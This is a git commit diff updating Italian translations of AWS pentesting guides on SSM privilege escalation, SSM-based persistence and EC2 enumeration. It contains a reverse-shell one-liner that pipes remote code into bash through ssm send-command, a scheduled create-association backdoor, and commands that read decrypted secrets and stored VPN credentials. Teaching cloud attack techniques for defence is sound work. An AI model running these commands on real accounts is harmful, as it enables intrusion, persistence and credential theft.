Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p

This commit is contained in:
Translator
2025-07-24 06:56:40 +00:00
parent 33a01d3dc7
commit f58c27fd1d
4 changed files with 39 additions and 17 deletions

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
### Utilizzando ssm:CreateAssociation per la persistenza
Un attaccante con il permesso ssm:CreateAssociation può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive.
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a una backdoor senza sessioni interattive.
```bash
aws ssm create-association \
--name SSM-Document-Name \

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni su SSM controlla:
### `ssm:SendCommand`
Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** che vi opera all'interno.
Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM attivi.
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con SSM Agents attivi.
### `ssm:StartSession`
Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'agente Amazon SSM e **compromettere il ruolo IAM** in esecuzione al suo interno.
Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il Ruolo IAM** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -51,19 +51,19 @@ aws ssm start-session --target "$INSTANCE_ID"
#### Privesc a ECS
Quando le **attività ECS** vengono eseguite con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\
Quando i **compiti ECS** vengono eseguiti con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\
Secondo [**la documentazione**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), questo avviene creando un canale sicuro tra il dispositivo utilizzato per avviare il comando “_exec_” e il contenitore di destinazione con SSM Session Manager. (Plugin SSM Session Manager necessario affinché questo funzioni)\
Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno delle attività ECS** con quell'opzione abilitata semplicemente eseguendo:
Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno dei compiti ECS** con quell'opzione abilitata semplicemente eseguendo:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM allegati ai task in esecuzione con `ExecuteCommand` abilitato.
**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM attaccati ai task in esecuzione con `ExecuteCommand` abilitato.
### `ssm:ResumeSession`
Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno.
Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH in istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,7 +72,7 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
@@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption
### `ssm:ListCommands`
Un attaccante con questo permesso può elencare tutti i **comandi** inviati e, si spera, trovare **informazioni sensibili** in essi.
Un attaccante con questo permesso può elencare tutti i **comandi** inviati e sperare di trovare **informazioni sensibili** in essi.
```
aws ssm list-commands
```
@@ -103,7 +103,21 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output dei comandi.
**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output delle righe di comando.
### Utilizzando ssm:CreateAssociation
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (ad es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
### Codebuild

View File

@@ -29,7 +29,7 @@ Cose interessanti da enumerare in EC2:
### Instance Profiles
Utilizzare **ruoli** per concedere permessi alle applicazioni che girano su **istanze EC2** richiede un po' di configurazione aggiuntiva. Un'applicazione in esecuzione su un'istanza EC2 è astratta da AWS dal sistema operativo virtualizzato. A causa di questa separazione aggiuntiva, è necessario un passaggio ulteriore per assegnare un ruolo AWS e i suoi permessi associati a un'istanza EC2 e renderli disponibili alle sue applicazioni.
Utilizzare **ruoli** per concedere permessi alle applicazioni che girano su **istanze EC2** richiede un po' di configurazione extra. Un'applicazione in esecuzione su un'istanza EC2 è astratta da AWS dal sistema operativo virtualizzato. A causa di questa separazione extra, è necessario un passaggio aggiuntivo per assegnare un ruolo AWS e i suoi permessi associati a un'istanza EC2 e renderli disponibili alle sue applicazioni.
Questo passaggio extra è la **creazione di un** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) allegato all'istanza. Il **profilo dell'istanza contiene il ruolo e** può fornire le credenziali temporanee del ruolo a un'applicazione che gira sull'istanza. Queste credenziali temporanee possono quindi essere utilizzate nelle chiamate API dell'applicazione per accedere alle risorse e limitare l'accesso solo a quelle risorse specificate dal ruolo. Nota che **solo un ruolo può essere assegnato a un'istanza EC2** alla volta, e tutte le applicazioni sull'istanza condividono lo stesso ruolo e permessi.
@@ -194,9 +194,17 @@ Nella pagina seguente puoi controllare come **abuse SSM permissions to escalate
../../aws-privilege-escalation/aws-ssm-privesc.md
{{#endref}}
### Perssistence
Nella pagina seguente puoi controllare come **abuse SSM permissions to achieve persistence**:
{{#ref}}
../../aws-persistence/aws-ssm-persistence.md
{{#endref}}
## ELB
**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automaticamente **distributes incoming application traffic** e scala le risorse per soddisfare le richieste di traffico.
**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB distribuisce automaticamente **incoming application traffic** e scala le risorse per soddisfare le richieste di traffico.
### Enumeration
```bash
@@ -228,7 +236,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro è una suite di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta.
AWS Nitro è un insieme di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta.
Ottieni ulteriori informazioni e come enumerarlo da:
@@ -258,7 +266,7 @@ Una VPN consente di connettere la tua **rete on-premise (site-to-site VPN)** o i
- Viene utilizzato per comunicazioni sicure, stabili e coerenti tra il tuo data center o rete e il tuo ambiente AWS.
- Tipicamente utilizzato per connessioni regolari e a lungo termine e viene fatturato in base alla quantità di dati trasferiti attraverso la connessione.
4. **Client VPN Endpoint**:
- Un endpoint Client VPN è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client.
- Un Client VPN endpoint è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client.
- Viene utilizzato per consentire a singoli dispositivi (come laptop, smartphone, ecc.) di connettersi in modo sicuro alle risorse AWS o alla tua rete on-premises.
- Si differenzia dalla Site-to-Site VPN in quanto è progettato per clienti individuali piuttosto che per connettere intere reti.
- Con Client VPN, ogni dispositivo client utilizza un software client VPN per stabilire una connessione sicura.
@@ -293,7 +301,7 @@ aws ec2 describe-vpn-connections
**Credenziali Temporanee Locali**
Quando si utilizza il Client VPN AWS per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per accedere alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**.
Quando il Client VPN AWS viene utilizzato per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per ottenere accesso alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**.
Le credenziali appartengono all'utente `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: ricerca ulteriori informazioni sui permessi di queste credenziali).